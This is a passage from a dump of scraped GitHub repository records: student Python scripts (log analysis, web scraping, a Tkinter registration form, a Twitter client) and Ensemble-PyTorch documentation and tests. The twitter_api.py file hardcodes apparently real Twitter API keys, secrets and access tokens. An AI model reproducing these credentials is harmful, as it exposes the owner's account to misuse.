percentage]\n\t]\n\t\n\tExample for the Education class:\n\t\n\t[\n\t\t'Eduction Level'\n\t\t['elementary school and below', 'junior high', 'senior high', 'university', 'graduate school and above']\n\t\t[25.3, 49.6, 28.7, 11.7, 4.6]\n\t\t[1.7, 10.6, 6.5, 1.0, 0.0]\n\t\t[10.3, 28.4, 16.6, 6.0, 2.7]\n\t\t[0.2, 0.1, 0.3, 0.3, 0.1]\n\t]\n\n**Data_Class:**\n\n\tDetermine the data class for the first argument.\n\tE: stands for Education level\n\tA: stands for Average monthly income\n\tW: stands for Work environment\n\n**Chart:**\n\n\tDetermine the plotting method for the second argument\n\tl: stands for line chart\n\tb: stands for bar chart\n\tp: stands for pie chart\n\n\nA simply use of the file:\n\tpython hw1.py -(class of data)(type of chart)\n\t\n\tFor example,\n\t\tpython hw1.py -Ab -Wp\n\tFirst shows the bar chart of the data \"Average monthly income\". \n\tAfter the user close the bar chart, it shows the pie chart of the data \"Work environment\".\n" } ]
3
sainarasimhayandamuri/LOGS-ANALYSIS-1
https://github.com/sainarasimhayandamuri/LOGS-ANALYSIS-1
5dd64ac5a0b844534e83d3832d2528fd384017dd
6fe34bdf3bdeb2f7f120fbdd434feb090fe9481f
3a5bb3fd173e69d8d946b0ea6287a4b8197fb034
refs/heads/master
2020-03-21T08:07:47.206340
2018-06-22T15:41:55
2018-06-22T15:41:55
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6042899489402771, "alphanum_fraction": 0.6242603659629822, "avg_line_length": 25.41176414489746, "blob_id": "1f6d9129b656d68bc832e7bb138d5bb1cdbe64cf", "content_id": "920553e130fdaaa943da5b484cbe53d627501918", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1352, "license_type": "no_license", "max_line_length": 90, "num_lines": 51, "path": "/newsdata.py", "repo_name": "sainarasimhayandamuri/LOGS-ANALYSIS-1", "src_encoding": "UTF-8", "text": "#! /usr/bin/env python3\nimport psycopg2\nimport time\ndef connects():\n return psycopg2.connect(\"dbname=news\")\n\ndata1=\"select title,views from article_view limit 3\"\ndata2=\"select * from author_view\"\ndata3=\"select to_char(date,'Mon DD,YYYY') as date,err_prc from err_perc where err_prc>1.0\"\n\ndef popular_article(data1):\n db=connects()\n c=db.cursor()\n c.execute(data1)\n results=c.fetchall()\n for result in range(len(results)):\n title=results[result][0]\n views=results[result][1]\n print(\"%s--%d\" % (title,views))\n db.close()\n\ndef popular_authors(data2):\n db=connects() \n c=db.cursor()\n c.execute(data2)\n results=c.fetchall()\n for result in range(len(results)):\n name=results[result][0]\n views=results[result][1]\n print(\"%s--%d\" % (name,views))\n db.close()\n\ndef error_percent(query3):\n db=connects()\n c=db.cursor()\n c.execute(data3)\n results=c.fetchall()\n for result in range(len(results)):\n date=results[result][0]\n err_prc=results[result][1]\n print(\"%s--%.1f %%\" %(date,err_prc))\n\nif __name__ == \"__main__\":\n print(\"THE LIST OF POPULAR ARTICLES ARE:\")\n popular_article(data1)\n print(\"\\n\")\n print(\"THE LIST OF POPULAR AUTHORS ARE:\")\n popular_authors(data2)\n print(\"\\n\")\n print(\"PERC ERROR MORE THAN 1.0:\")\n error_percent(data3)\n \n" } ]
1
shrued/webscraping-playground
https://github.com/shrued/webscraping-playground
fee3904fed9d37d340913fb62d83c9cfeccee279
ea02cc6ab4fd864a9e09541da5a7dde705b4fad6
2f7ba51217661897a3e1af5ecbb9df25c8ed9b8e
refs/heads/master
2023-01-31T08:02:14.266299
2020-12-12T14:43:19
2020-12-12T14:43:19
320,850,875
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7596566677093506, "alphanum_fraction": 0.7639485001564026, "avg_line_length": 22.399999618530273, "blob_id": "ecd8fb23a3d0ed79675e60b740a885c11b620ca1", "content_id": "147379866557edb1c439ea69813e63bbfe256dc2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 233, "license_type": "no_license", "max_line_length": 60, "num_lines": 10, "path": "/scrape.py", "repo_name": "shrued/webscraping-playground", "src_encoding": "UTF-8", "text": "import requests\nfrom bs4 import BeautifulSoup\n\nresponse = requests.get(\n\turl=\"https://en.wikipedia.org/wiki/Toronto_Stock_Exchange\",\n)\nsoup = BeautifulSoup(response.content, 'html.parser')\n\ntable = soup.find_all('table')\nprint(table)" } ]
1
maryville-swdv-630-19-sp2-3w/week-1-carasolomon
https://github.com/maryville-swdv-630-19-sp2-3w/week-1-carasolomon
5877526079256271958b3ce0676837dc2bed178f
ead78d2986fde2c19147f6f63ae2b89ca91328fb
0368fe48b426654a957508514c6b45725422e782
refs/heads/master
2020-04-29T12:09:24.687786
2019-03-18T02:16:55
2019-03-18T02:16:55
176,126,545
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8093622922897339, "alphanum_fraction": 0.8113975524902344, "avg_line_length": 162.6666717529297, "blob_id": "ae77400906f28c39d0a5e2656e006eaed2cf6035", "content_id": "e21d58e0276b51ec103bd976a51d50b5e4d904d4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1474, "license_type": "no_license", "max_line_length": 639, "num_lines": 9, "path": "/readme.md", "repo_name": "maryville-swdv-630-19-sp2-3w/week-1-carasolomon", "src_encoding": "UTF-8", "text": " Week_1\n\n4) Explain the difference between interfaces and implementation. \n\nInterfaces are the part of the application that the user interacts with whereas implementation is the portion of the applications that allows the user interface to work. The user does not need to interact with any part of the implementation, users are only concerned with the interface. A calculator is a good example of an interface. The screen and buttons are the interface. We enter in the expression and a response is output to the screen. We do not know how the expression is calculation nor how the numbers are transmitted to the screen, only that it works. Any alterations to the calculators interface and the user will be affected.\n\n5) Using both visual and written descriptions, think through the interface-implementation of a large scale storage system. # In many systems today,we have the ability to store information from a single application to a variety of storage devices - local storage (hard drive, usb), the cloud and/or some new medium in the future. How would you design an interface structure such that all of the possible implementations could store data effectively.\n\nI would design the interface structure displaying all current methods of storage availible to the user. I would not include any indication of a future medium to the user, although I will write the software with any future mediums in mind so that they can be easily incorporated when they become availible. " }, { "alpha_fraction": 0.6395938992500305, "alphanum_fraction": 0.6475707292556763, "avg_line_length": 27.66666603088379, "blob_id": "1ee91893d8348bf46eb96a435ad0dbb6630bece5", "content_id": "38846ddb2542339e6275454a120246b3d5f57c91", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1379, "license_type": "no_license", "max_line_length": 133, "num_lines": 48, "path": "/inYourInterface.py", "repo_name": "maryville-swdv-630-19-sp2-3w/week-1-carasolomon", "src_encoding": "UTF-8", "text": "# Programmer: Tacara Solomon\n# SWDV 630 \n# Week 1 Assignment: In Your Interface\n\n# Answers to questions 4 and 5 in readme.md file\n\nclass Teams:\n def __init__(self, members):\n self.__myTeam = members\n\n def __len__(self):\n return len(self.__myTeam)\n\n# 1) Add the __contains__ protocol and show whether or not 'Tim' and 'Sam' are part of our team. \n def __contains__(self, member):\n if member in self.__myTeam:\n return True\n else:\n return False \n\n# 2) Add the __iter__ protocol and show how you can print each member of the classmates object.\n def __iter__(self):\n return iter(self.__myTeam)\n\n# 3) Use the isinstance() method to determine if the object classmates implements the __len__ method based on the ABC it comes from.\n def isLen(self, obj, aclass):\n return isinstance(obj, aclass)\n \n \n \n\ndef main():\n classmates = Teams(['John', 'Steve', 'Tim'])\n print (len(classmates))\n \n Len = classmates.isLen(classmates, Teams)\n print('This shows that the object implements the __len__ method: ', Len)\n\n tim = classmates.__contains__('Tim')\n sam = classmates.__contains__('Sam')\n print('This shows if Tim and Sam are apart of our team: ' + 'Tim: ', tim, 'Sam: ', sam)\n\n printMember = classmates.__iter__()\n print('This shows the members iteration: ', printMember)\n\nmain()\n\n# Answers to questions 4 and 5 in readme.md file\n \n\n" } ]
2
JeyFernandez/Crud-en-python
https://github.com/JeyFernandez/Crud-en-python
8f9f2cd2377474b785878d915b3845906f93c4f7
55ef47ccd331d08a68fa238ae1f660b60099164e
4e86c34c3abb626c57ee289e9cb2982568bd1404
refs/heads/main
2023-08-31T22:36:42.774989
2021-11-09T15:36:32
2021-11-09T15:36:32
426,286,111
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5555555820465088, "alphanum_fraction": 0.5728715658187866, "avg_line_length": 30.157302856445312, "blob_id": "13d48d7d54e8708945082900f25bbec35c0966a3", "content_id": "40e2e921b671d55eab042d5a7246e0316a38ae72", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2772, "license_type": "no_license", "max_line_length": 99, "num_lines": 89, "path": "/S_R_T.py", "repo_name": "JeyFernandez/Crud-en-python", "src_encoding": "UTF-8", "text": "from tkinter import ttk\nfrom tkinter import *\n\nimport sqlite3\n\nclass Product:\n\n db_name = 'matricula.db'\n\n def __init__(self, box):\n self.box=box\n self.box.title('Registro De Estudiante')\n \n frame = LabelFrame(self.box, text='Datos del estudiante')\n frame.grid(row = 0, column = 0, columnspan= 3, pady= 20)\n \n #Espacio nombres\n\n Label(frame, text= 'Nombres y apellidos: ').grid(row = 1, column = 0)\n self.nombre = Entry (frame)\n self.nombre.focus()\n self.nombre.grid(row = 1, column = 1)\n\n #Espacio edad\n Label(frame, text='NuCedula: ').grid(row=2,column=0)\n self.edad=Entry (frame)\n self.edad.grid(row=2,column=1)\n \n #Espacio Cedula\n Label(frame, text='Direccion: ').grid(row=3, column= 0)\n self.cedula = Entry(frame)\n self.cedula.grid(row=3, column=1)\n\n #Espacio Celular\n Label(frame, text='NuTelular: ').grid(row=4, column=0)\n self.celular = Entry(frame)\n self.celular.grid(row=4, column=1)\n \n #Boton agregar\n ttk.Button(frame,text='Registrar').grid(row = 5,column = 0, columnspan=3, sticky = W+E) \n #mensaje\n\n self.menssage = Label(text='',fg='red')\n self.menssage.grid(row=3,column=0,columnspan=2,sticky=W+E)\n \n #Tabla\n self.tree = ttk.Treeview(height = 10,column= ('#1', '#2', '#3'))\n self.tree.grid(row= 4, column= 0, columnspan=3)\n self.tree.heading(\"#0\", text = 'Nombre y Apellido', anchor = CENTER)\n self.tree.heading(\"#1\", text= 'NUmero de Cedula', anchor= CENTER)\n self.tree.heading(\"#2\", text= 'Direccion', anchor= CENTER)\n self.tree.heading(\"#3\", text= 'Numero de Telefono', anchor= CENTER)\n #botones\n ttk.Button(text='Eliminar').grid(row=5,column=0,sticky=W+E)\n ttk.Button(text='Editar').grid(row=5, column=2,sticky=W+E)\n\n self.get_Estudiante()\n\n #conecto la base de datos\n def run_query(self, query, parameters=()):\n with sqlite3.connect(self.db_name) as conn:\n cursor = conn.cursor()\n result = cursor.execute(query, parameters)\n conn.commit()\n return result\n\n #Metodo Onbtner estudiante\n def get_estudiante(self):\n #limpiar\n records = self.tree.get_children()\n for element in records:\n self.tree.delete(element)\n \n #consultar datos\n query = 'SELC * FROM Estudiante ORDER BY name DESC'\n db_rows = self.run_query(query)\n #Rellenar datos\n for row in db_rows:\n self.tree.insert('',0,txt= row[1], values= row[3])\n\n \n\n\n\n\nif __name__ == '__main__':\n box = Tk()\n sistema = Product(box)\n box.mainloop()" } ]
1
garrettroth/Metaverse-Sicariis
https://github.com/garrettroth/Metaverse-Sicariis
6018a975e66a21a12c0d9de5b10e2007d69c9ce0
181d1b4e5cb68026a3d58f944024dfc019b85ef3
3de26610573401457170585493f2e15dac6fa5ee
refs/heads/main
2023-03-29T00:22:40.740957
2021-03-27T19:32:04
2021-03-27T19:32:04
352,116,580
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.771276593208313, "alphanum_fraction": 0.7801418304443359, "avg_line_length": 79.28571319580078, "blob_id": "dcc49bb99ff65fe1ca4bd5f91cb3fb51c041efa5", "content_id": "57dc60f354dfaf5327bed53dbcb09976fe04308c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 564, "license_type": "no_license", "max_line_length": 331, "num_lines": 7, "path": "/README.md", "repo_name": "garrettroth/Metaverse-Sicariis", "src_encoding": "UTF-8", "text": "# Metaverse-Sicariis\n\nThe Sicarrii are known to be the first organized cloak and dagger assassin group, their goal was to free the Judean people from Roman Occupation. They were succussesful due to the tools and resources at their disposal. This repository is meant to be a tool box for those ready to dive into the Metaverse and gain their freedom. \n\nTool Box:\n 1.) Coin Market Cap - This program allows you to pull the top 100 cryptocurrencies by Marketcap\n 2.) Twitter_api - This program allows you to search for x number of tweets from a choosen topic.\n \n" }, { "alpha_fraction": 0.5202854871749878, "alphanum_fraction": 0.5251690745353699, "avg_line_length": 30.88888931274414, "blob_id": "e6878ff9d8aa765d724fcf213b83094f5acd2b48", "content_id": "3570f145799904a51c7075ba5cfd057cc1ff3ce6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2662, "license_type": "no_license", "max_line_length": 102, "num_lines": 81, "path": "/twitter_api.py", "repo_name": "garrettroth/Metaverse-Sicariis", "src_encoding": "UTF-8", "text": "import tweepy\r\nfrom tweepy import OAuthHandler\r\nimport re \r\n\r\nclass TwitterClient(object):\r\n '''\r\n Twitter Class for grabbing Tweets\r\n '''\r\n def __init__(self):\r\n '''\r\n Initialization Method\r\n '''\r\n #Keys and Tokens from the Twitter Dev Console\r\n consumer_key = 'osoPe1vbrjL6hi83pPaT99JcZ'\r\n consumer_secret = '72ePjiWIu8YGRFSTXJdUiww12J6UcR0bJL556VSx73hfd7dwW0'\r\n access_token = '1038587928967098368-uX8QbeIua1pXU33gzB5Tcy89qMPrgt'\r\n access_token_secret = 'AohvvdBfkYILiwEouMpAfyVDP2TBX6xdLcmfyvAJqojcj'\r\n\r\n #Attempt Authentication\r\n try:\r\n #Create OAuthhandler object\r\n self.auth = OAuthHandler(consumer_key,consumer_secret)\r\n #Set access token and secret \r\n self.auth.set_access_token(access_token,access_token_secret)\r\n #Create tweepy API object to fetch tweets\r\n self.api = tweepy.API(self.auth)\r\n except:\r\n print(\"Error Authentication Failed\")\r\n \r\n def clean_tweet(self, tweet):\r\n '''\r\n Utility function to clean tweet text by removing links, special characters\r\n using simple regex statements\r\n '''\r\n return ' '.join(re.sub(\"(@[A-Za-z0-9]+)|([^0-9A-Za-z \\t])|(\\w+:\\/\\/\\S+)\", \" \", tweet).split())\r\n \r\n def get_tweets(self, query, count = 1):\r\n '''\r\n Main Function to fetch tweets and parse them\r\n '''\r\n #Empty list to store parsed tweets\r\n tweets = []\r\n\r\n try:\r\n #call twitter api to fetch tweets\r\n fetch_tweets = self.api.search(q=query,count = count)\r\n \r\n #parsing tweets one by one\r\n for tweet in fetch_tweets:\r\n print(tweet)\r\n #empty dictionary to store required params of tweet\r\n parsed_tweet = {}\r\n\r\n #saving text of tweet\r\n parsed_tweet['text'] = tweet.text\r\n \r\n #appending parsed tweet to tweets list\r\n if tweet.retweet_count > 0:\r\n #if tweet has a retweet, ensure that is is append only once.\r\n if parsed_tweet not in tweets:\r\n tweets.append(parsed_tweet)\r\n else:\r\n tweets.append(parsed_tweet)\r\n \r\n #return parsed tweet\r\n return tweets\r\n except tweepy.TweepError as e:\r\n #print error\r\n print(\"Error : \" + str(e))\r\n\r\ndef main():\r\n #Creating Object of twitter client class\r\n api = TwitterClient()\r\n #calling function to get tweets\r\n tweets = api.get_tweets(query = 'Cryptocurrency', count = 1)\r\n\r\n #print tweets\r\n print(tweets)\r\n\r\n#running program\r\nmain()" } ]
2
jerry5841314/Ensemble-Pytorch
https://github.com/jerry5841314/Ensemble-Pytorch
4da0eb3116ec470f689698fa8980b0b5fa4fbb90
4081b5764f3cec5bd93ed85a1520a3bacf42f1cf
c8f0072a273cd6559772d207c24881affb70fdd0
refs/heads/master
2023-03-28T00:58:06.634556
2021-03-31T06:26:11
2021-03-31T06:26:11
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5571973323822021, "alphanum_fraction": 0.5571973323822021, "avg_line_length": 31.27692222595215, "blob_id": "244701e4b4970202a0d99d73010b767ac50e1939", "content_id": "6b174f8ad34f341f11807c3a391392c0ffc57b2e", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2098, "license_type": "permissive", "max_line_length": 77, "num_lines": 65, "path": "/torchensemble/utils/logging.py", "repo_name": "jerry5841314/Ensemble-Pytorch", "src_encoding": "UTF-8", "text": "import os\nimport time\nimport logging\n\n\ndef set_logger(log_file=None, log_console_level=\"info\", log_file_level=None):\n \"\"\"Bind the default logger with console and file stream output.\"\"\"\n\n def _get_level(level):\n if level.lower() == 'debug':\n return logging.DEBUG\n elif level.lower() == 'info':\n return logging.INFO\n elif level.lower() == 'warning':\n return logging.WARN\n elif level.lower() == 'error':\n return logging.ERROR\n elif level.lower() == 'critical':\n return logging.CRITICAL\n else:\n msg = (\n \"`log_console_level` must be one of {{DEBUG, INFO,\"\n \" WARNING, ERROR, CRITICAL}}, but got {} instead.\"\n )\n raise ValueError(msg.format(level.upper()))\n\n _logger = logging.getLogger()\n\n # Reset\n for h in _logger.handlers:\n _logger.removeHandler(h)\n\n rq = time.strftime('%Y_%m_%d_%H_%M', time.localtime(time.time()))\n log_path = os.path.join(os.getcwd(), 'logs')\n\n ch_formatter = logging.Formatter(\n \"%(asctime)s - %(levelname)s: %(message)s\"\n )\n ch = logging.StreamHandler()\n ch.setLevel(_get_level(log_console_level))\n ch.setFormatter(ch_formatter)\n _logger.addHandler(ch)\n\n if log_file is not None:\n print('Log will be saved in \\'{}\\'.'.format(log_path))\n if not os.path.exists(log_path):\n os.mkdir(log_path)\n print('Create folder \\'logs/\\'')\n log_name = os.path.join(log_path, log_file + '-' + rq + '.log')\n print('Start logging into file {}...'.format(log_name))\n fh = logging.FileHandler(log_name, mode='w')\n fh.setLevel(\n logging.DEBUG\n if log_file_level is None\n else _get_level(log_file_level)\n )\n fh_formatter = logging.Formatter(\n \"%(asctime)s - %(filename)s[line:%(lineno)d] - \"\n \"%(levelname)s: %(message)s\"\n )\n fh.setFormatter(fh_formatter)\n _logger.addHandler(fh)\n _logger.setLevel(\"DEBUG\")\n\n return _logger\n" }, { "alpha_fraction": 0.6690958142280579, "alphanum_fraction": 0.6715249419212341, "avg_line_length": 39.71428680419922, "blob_id": "4b18d7696ce21c0cb9312c263f1fe9d8a93bcb79", "content_id": "0abc4c4be705c9a015860f8b8a59f486d45be57b", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 3705, "license_type": "permissive", "max_line_length": 287, "num_lines": 91, "path": "/docs/index.rst", "repo_name": "jerry5841314/Ensemble-Pytorch", "src_encoding": "UTF-8", "text": ".. image:: ./_images/badge.png\n :align: center\n :width: 400\n\n|github|_ |readthedocs|_ |codecov|_ |python|_ |pypi|_ |license|_\n\n.. |github| image:: https://github.com/xuyxu/Ensemble-Pytorch/workflows/torchensemble-CI/badge.svg\n.. _github: https://github.com/xuyxu/Ensemble-Pytorch/actions\n\n.. |readthedocs| image:: https://readthedocs.org/projects/ensemble-pytorch/badge/?version=latest\n.. _readthedocs: https://ensemble-pytorch.readthedocs.io/en/latest/index.html\n\n.. |codecov| image:: https://codecov.io/gh/xuyxu/Ensemble-Pytorch/branch/master/graph/badge.svg?token=2FXCFRIDTV\n.. _codecov: https://codecov.io/gh/xuyxu/Ensemble-Pytorch\n\n.. |python| image:: https://img.shields.io/badge/python-3.6+-blue?logo=python\n.. _python: https://www.python.org/\n\n.. |pypi| image:: https://img.shields.io/pypi/v/torchensemble\n.. _pypi: https://pypi.org/project/torchensemble/\n\n.. |license| image:: https://img.shields.io/github/license/xuyxu/Ensemble-Pytorch\n.. _license: https://github.com/xuyxu/Ensemble-Pytorch/blob/master/LICENSE\n\nEnsemble PyTorch Documentation\n==============================\n\n.. rst-class:: center\n\n| |:homes:| `GitHub <https://github.com/xuyxu/Ensemble-Pytorch>`__ | |:book:| `ReadtheDocs <https://readthedocs.org/projects/ensemble-pytorch/>`__ | |:hammer_and_wrench:| `Codecov <https://codecov.io/gh/xuyxu/Ensemble-Pytorch>`__\n|\n\nEnsemble PyTorch is a unified ensemble framework for PyTorch to improve the performance and robustness of your deep learning model. It provides:\n\n* |:arrow_up_small:| Easy ways to improve the performance and robustness of your deep learning model.\n* |:eyes:| Easy-to-use APIs on training and evaluating the ensemble.\n* |:zap:| High training efficiency with parallelization.\n\n| This package is under active development. Please feel free to open an `issue <https://github.com/xuyxu/Ensemble-Pytorch/issues>`__ if your have any problem. In addition, any feature request or `pull request <https://github.com/xuyxu/Ensemble-Pytorch/pulls>`__ would be highly welcomed.\n\nGuidepost\n---------\n\n* To get started, please refer to `Quick Start <./quick_start.html>`__;\n* To learn more about ensemble methods supported, please refer to `Introduction <./introduction.html>`__;\n* If you are confused on which ensemble method to use, our `experiments <./experiment.html>`__ and the instructions in `guidance <./guide.html>`__ may be helpful.\n\nMinimal Example on How to Use\n-----------------------------\n\n.. code:: python\n\n from torchensemble import VotingClassifier # a classic ensemble method\n\n # Load your data\n train_loader = DataLoader(...)\n test_loader = DataLoader(...)\n\n # Define the ensemble\n model = VotingClassifier(estimator=base_estimator, # your deep learning model\n n_estimators=10) # the number of base estimators\n\n # Set the optimizer\n model.set_optimizer(\"Adam\", # parameter optimizer\n lr=learning_rate, # learning rate of the optimizer\n weight_decay=weight_decay) # weight decay of the optimizer\n\n # Set the scheduler\n model.set_scheduler(\"CosineAnnealingLR\", T_max=epochs) # optional\n\n # Train\n model.fit(train_loader,\n epochs=epochs) # the number of training epochs\n\n # Evaluate\n acc = model.predict(test_loader) # testing accuracy\n\nContent\n-------\n\n.. toctree::\n :maxdepth: 2\n\n Quick Start <quick_start>\n Introduction <introduction>\n Guidance <guide>\n Experiment <experiment>\n API Reference <parameters>\n Changelog <changelog>\n Contributors <contributors>\n Roadmap <roadmap>\n" }, { "alpha_fraction": 0.656259298324585, "alphanum_fraction": 0.6711269617080688, "avg_line_length": 36.36666488647461, "blob_id": "c7c7a1c2d519cde23fe24a084454eebcabb0d6ea", "content_id": "c6528799b099473239eee8f64f4cc620cba2886f", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 6726, "license_type": "permissive", "max_line_length": 346, "num_lines": 180, "path": "/docs/quick_start.rst", "repo_name": "jerry5841314/Ensemble-Pytorch", "src_encoding": "UTF-8", "text": "Get started\n===========\n\nInstall the Stable Version\n--------------------------\n\nYou can use the stable version of Ensemble-PyTorch with the following command:\n\n.. code-block:: bash\n\n $ pip install torchensemble\n\nEnsemble-PyTorch is designed to be portable and has very small package dependencies. It is recommended to use the package environment and PyTorch installed from `Anaconda <https://www.anaconda.com/>`__.\n\nDefine Your Base Estimator\n--------------------------\n\nSince Ensemble-PyTorch uses different ensemble methods to improve the performance, a key input argument is your deep learning model, serving as the base estimator. Same as PyTorch, the class of your model should inherit from :mod:`torch.nn.Module`, and it should at least implement two methods:\n\n* ``__init__``: Instantiate sub-modules in your model and assign them as the member variables.\n* ``forward``: Define the forward process of your model.\n\nFor example, the code snippet below defines a multi-layered perceptron (MLP) of the structure: Input(784) - 128 - 128 - Output(10):\n\n.. code-block:: python\n\n import torch.nn as nn\n from torch.nn import functional as F\n\n class MLP(nn.Module):\n\n def __init__(self):\n super(MLP, self).__init__()\n\n self.linear1 = nn.Linear(784, 128)\n self.linear2 = nn.Linear(128, 128)\n self.linear3 = nn.Linear(128, 10)\n\n def forward(self, X):\n X = X.view(X.size(0), -1)\n\n output = F.relu(self.linear1(X))\n output = F.dropout(output)\n output = F.relu(self.linear2(output))\n output = self.linear3(output)\n\n return output\n\nSet the Logger\n--------------\n\nEnsemble-PyTorch uses a global logger to track and print the intermediate information. The code snippet below shows how to set up a logger:\n\n.. code-block:: python\n\n from torchensemble.utils import set_logger\n\n logger = set_logger(\"classification_mnist_mlp\")\n\nUsing the logger, all intermediate information will be printed on the command line and saved to the specified text file: classification_mnist_mlp.\n\nChoose the Ensemble\n-------------------\n\nAfter defining the base estimator, we can then wrap it using one of ensemble methods available in Ensemble-PyTorch. Different methods have very similar APIs, take the ``VotingClassifier`` as an example:\n\n.. code-block:: python\n\n from torchensemble import VotingClassifier\n\n model = VotingClassifier(\n estimator=MLP,\n n_estimators=10,\n cuda=True\n )\n\nThe meaning of different arguments is listed as follow:\n\n* ``estimator``: The class of your model, used to instantiate base estimators in the ensemble.\n* ``n_estimators``: The number of base estimators.\n* ``cuda``: Specify whether to use GPU for training and evaluating the ensemble.\n\nSet the Optimizer\n-----------------\n\nAfter creating the ensemble, another step before the training stage is to set the optimizer. Suppose that we are going to use the Adam optimizer with learning rate ``1e-3`` and weight decay ``5e-4`` to train the ensemble, this can be achieved by calling the ``set_optimizer`` method of the ensemble:\n\n.. code-block:: python\n\n model.set_optimizer(\"Adam\", # optimizer name\n lr=1e-3, # learning rate of the optimizer\n weight_decay=5e-4) # weight decay of the optimizer\n\nNotice that all arguments after the optimizer name (i.e., ``Adam``) should be in the form of keyword arguments. They be will directly delivered to the :mod:`torch.optim.Optimizer`.\n\nSetting the scheduler for the ensemble is also supported in Ensemble-Pytorch, please refer to the ``set_scheduler`` method in `API Reference <./parameters.html>`__.\n\nTrain and Evaluate\n------------------\n\nGiven the ensemble with the optimizer already set, Ensemble-PyTorch provides Scikit-Learn APIs on the training and evaluating stage of the ensemble:\n\n.. code-block:: python\n\n # Training\n model.fit(train_loader=train_loader, # training data\n epochs=100) # number of training epochs\n\n # Evaluating\n accuracy = model.predict(test_loader)\n\nIn the code snippet above, ``train_loader`` and ``test_loader`` is the PyTorch :mod:`DataLoader` object that contains your own dataset. In addition, ``epochs`` specify the number of training epochs. Since ``VotingClassifier`` is used for the classification, the ``predict`` function will return the classification accuracy on the ``test_loader``.\n\nNotice that the ``test_loader`` can also be passed to ``fit``, under the case, the ensemble will be evaluated on the ``test_loader`` after each training epoch.\n\nExample on MNIST\n----------------\n\nThe script below shows a concrete example on using VotingClassifier with 10 MLPs for classification on the MNIST dataset.\n\n.. code-block:: python\n\n import torch\n import torch.nn as nn\n from torch.nn import functional as F\n from torchvision import datasets, transforms\n\n from torchensemble import VotingClassifier\n from torchensemble.utils.logging import set_logger\n\n # Define Your Base Estimator\n class MLP(nn.Module):\n\n def __init__(self):\n super(MLP, self).__init__()\n\n self.linear1 = nn.Linear(784, 128)\n self.linear2 = nn.Linear(128, 128)\n self.linear3 = nn.Linear(128, 10)\n\n def forward(self, X):\n X = X.view(X.size(0), -1)\n output = F.relu(self.linear1(X))\n output = F.dropout(output)\n output = F.relu(self.linear2(output))\n output = self.linear3(output)\n\n return output\n\n # Load MNIST dataset\n transform=transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.1307,), (0.3081,))\n ])\n\n train = datasets.MNIST('../../Dataset', train=True, download=True, transform=transform)\n test = datasets.MNIST('../../Dataset', train=False, transform=transform)\n train_loader = torch.utils.data.DataLoader(train, batch_size=128, shuffle=True)\n test_loader = torch.utils.data.DataLoader(test, batch_size=128, shuffle=True)\n\n # Set the Logger\n logger = set_logger(\"classification_mnist_mlp\")\n\n # Set the model\n model = VotingClassifier(\n estimator=MLP,\n n_estimators=10,\n cuda=True\n )\n model.set_optimizer(\"Adam\", lr=1e-3, weight_decay=5e-4)\n\n # Train and Evaluate\n model.fit(train_loader,\n epochs=50,\n test_loader=test_loader)\n\nWhat's next\n-----------\n* You can check `Introduction <./introduction.html>`__ for details on ensemble methods available in Ensemble-PyTorch.\n* You can check `API Reference <./parameters.html>`__ for detailed API design on ensemble methods.\n" }, { "alpha_fraction": 0.6451612710952759, "alphanum_fraction": 0.8064516186714172, "avg_line_length": 9.666666984558105, "blob_id": "7e2e56651653dd262419bbdb05c698f53c38553e", "content_id": "5b9c9d1aec1fbc8a4be2dac76e95baa9c3ca3ad4", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 31, "license_type": "permissive", "max_line_length": 13, "num_lines": 3, "path": "/build_tools/requirements.txt", "repo_name": "jerry5841314/Ensemble-Pytorch", "src_encoding": "UTF-8", "text": "flake8\npytest-cov\nblack==20.8b1" }, { "alpha_fraction": 0.6359348297119141, "alphanum_fraction": 0.6530874967575073, "avg_line_length": 26.435293197631836, "blob_id": "87ff76da6fcd132a26723d5970d9f6ba2a5965ba", "content_id": "651567b3f8f54089a1fc8897f4e415a61b734898", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2332, "license_type": "permissive", "max_line_length": 77, "num_lines": 85, "path": "/torchensemble/tests/test_fast_geometric.py", "repo_name": "jerry5841314/Ensemble-Pytorch", "src_encoding": "UTF-8", "text": "import torch\nimport pytest\nimport numpy as np\nimport torch.nn as nn\nfrom torch.utils.data import TensorDataset, DataLoader\n\nfrom torchensemble import FastGeometricClassifier as clf\nfrom torchensemble import FastGeometricRegressor as reg\nfrom torchensemble.utils.logging import set_logger\n\n\nset_logger(\"pytest_fast_geometric\")\n\n\n# Testing data\nX_test = torch.Tensor(np.array(([0.5, 0.5], [0.6, 0.6])))\n\ny_test_clf = torch.LongTensor(np.array(([1, 0])))\ny_test_reg = torch.FloatTensor(np.array(([0.5, 0.6])))\ny_test_reg = y_test_reg.view(-1, 1)\n\n\n# Base estimator\nclass MLP_clf(nn.Module):\n def __init__(self):\n super(MLP_clf, self).__init__()\n self.linear1 = nn.Linear(2, 2)\n self.linear2 = nn.Linear(2, 2)\n\n def forward(self, X):\n X = X.view(X.size()[0], -1)\n output = self.linear1(X)\n output = self.linear2(output)\n return output\n\n\nclass MLP_reg(nn.Module):\n def __init__(self):\n super(MLP_reg, self).__init__()\n self.linear1 = nn.Linear(2, 2)\n self.linear2 = nn.Linear(2, 1)\n\n def forward(self, X):\n X = X.view(X.size()[0], -1)\n output = 